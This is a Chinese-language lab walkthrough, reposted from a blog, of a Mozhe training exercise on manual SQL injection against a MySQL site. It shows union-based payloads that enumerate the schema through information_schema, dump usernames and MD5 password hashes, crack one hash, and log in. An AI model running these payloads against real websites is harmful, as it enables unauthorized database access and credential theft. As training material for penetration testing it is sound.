MOZHE SQL手工注入漏洞测试(MySQL数据库)
主界面URL没有参数，无法判断是否有注入点
点击公告
【浏览器不便于查看返回包可以用burp】
测试URL
参数后加上单引号，报错，说明存在注入点
http://124.70.64.48:40021/new_list.php?id=1'获取表列数
order by 4 返回200
order by 5 返回500
id 所在表有4列爆显位
让id=-1，使前半段查询出错，让后半段查询结果显示出来
填充数字个数等于列刚才得到的列数
http://124.70.64.48:40021/new_list.php?id=-1%20union%20select%201,2,3,4获取信息
在显位上查询以下信息：
version() 数据库版本5.7.22-0ubuntu0.16.04.1
user() 用户root@localhost
@@version_compile_os 操作系统Linux
database() 数据库名字mozhe_Discuz_StormGroup知道数据库名字，到information_schema里查数据库中的表
group_concat() 将结果连接起来，避免显示不完整
information_schema.tables记录了所有表的信息
information_schema.tables的table_schema列记录了表对应的数据库
information_schema.tables的table_name列记录了表名
union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
该数据库有两个表StormGroup_member,notice知道表名查列名
group_concat() 将结果连接起来，避免显示不完整
information_schema.columns记录了所有列的信息
information_schema.columns的table_name列记录了列对应的表
information_schema.columns的column_name列记录了列名
union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'
该数据库有列：id,name,password,status知道列名查字段
union select 1,group_concat(name),group_concat(password),4 from mozhe_Discuz_StormGroup.StormGroup_member
name：mozhe,mozhe
password：356f589a7df439f6f744ff19bb8092c0,ae0af42ea5d582a11a9c994a96a2002e密码为MD5加密，md5在线解密
第二个密码209883正确。（查看status列就知道，第一个账号status为0，登录不了）
成功登录，获取key
原文地址：https://blog.csdn.net/2202_75354817/article/details/140681021
免责声明：本站文章内容转载自网络资源，如本站内容侵犯了原著者的合法权益，可联系本站删除。更多内容请关注自学内容网（zxcms.com）！